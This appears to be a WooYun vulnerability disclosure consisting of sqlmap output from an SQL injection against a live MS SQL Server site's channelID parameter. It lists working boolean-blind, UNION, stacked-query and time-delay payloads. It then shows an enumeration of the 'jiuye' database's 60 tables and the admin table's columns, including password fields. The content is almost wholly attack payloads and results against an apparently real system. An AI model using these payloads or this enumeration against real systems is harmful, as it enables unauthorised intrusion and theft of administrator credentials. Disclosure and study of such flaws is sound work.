WooYun.org

Place:GET
Parameter: channelID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: channelID=9' AND 1165=1165 AND 'uViY'='uViY
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: channelID=9' UNION ALL SELECT NULL, CHAR(58)+CHAR(111)+CHAR(117)+CH
AR(114)+CHAR(58)+CHAR(80)+CHAR(107)+CHAR(70)+CHAR(105)+CHAR(89)+CHAR(115)+CHAR(6
9)+CHAR(85)+CHAR(76)+CHAR(67)+CHAR(58)+CHAR(112)+CHAR(100)+CHAR(108)+CHAR(58)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: channelID=9'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: channelID=9' WAITFOR DELAY '0:0:5'--
current user: 'jiuye'
current database: 'jiuye'
Database: jiuye
[60 tables]
+-----------------------+
| dbo.95_05by |
| dbo.Bydl |
| dbo.Channel |
| dbo.Class |
| dbo.Comment |
| dbo.D99_CMD |
| dbo.D99_REG |
| dbo.D99_Tmp |
| dbo.DWHYDM |
| dbo.DWLSBM |
| dbo.DataLoad |
| dbo.EmployInfor |
| dbo.FriendSite |
| dbo.MessageBoard |
| dbo.News |
| dbo.News_view |
| dbo.Newsview |
| dbo.PhotoNews |
| dbo.S3_Tmp |
| dbo.Special |
| dbo.UnitInfor |
| dbo.UnitInfor19 |
| dbo.UnitProperty |
| dbo.ZGBM |
| dbo.admin |
| dbo.bys2012 |
| dbo.dNeedInfor_view |
| dbo.dNeedInforview |
| dbo.department |
| dbo.document |
| dbo.documentAccessory |
| dbo.dtproperties |
| dbo.graduate |
| dbo.gx |
| dbo.jg |
| dbo.jydb00 |
| dbo.location |
| dbo.locationold |
| dbo.major |
| dbo.mzdmk |
| dbo.needInfor |
| dbo.needInfor_view |
| dbo.needInforview |
| dbo.sjk10491 |
| dbo.sqlmapoutput |
| dbo.sysconstraints |
| dbo.syssegments |
| dbo.sytemp |
| dbo.tab_yk |
| dbo.test |
| dbo.unit_view |
| dbo.unit_view19 |
| dbo.unitinfor20140425 |
| dbo.unitview |
| dbo.vote |
| dbo.xj |
| dbo.xueji2013 |
| dbo.xy |
| dbo.xzqhdmok |
| dbo.zydb |
+-----------------------+
Database: jiuye
Table: dbo.admin
[10 columns]
+---------------+---------+
| Column | Type |
+---------------+---------+
| adminEmail | varchar |
| adminID | int |
| adminLevel | int |
| adminName | varchar |
| adminPWD | varchar |
| adminRealName | varchar |
| adminTel | varchar |
| isPass | int |
| pwdbf | varchar |
| Remark | varchar |
+---------------+---------+
你懂的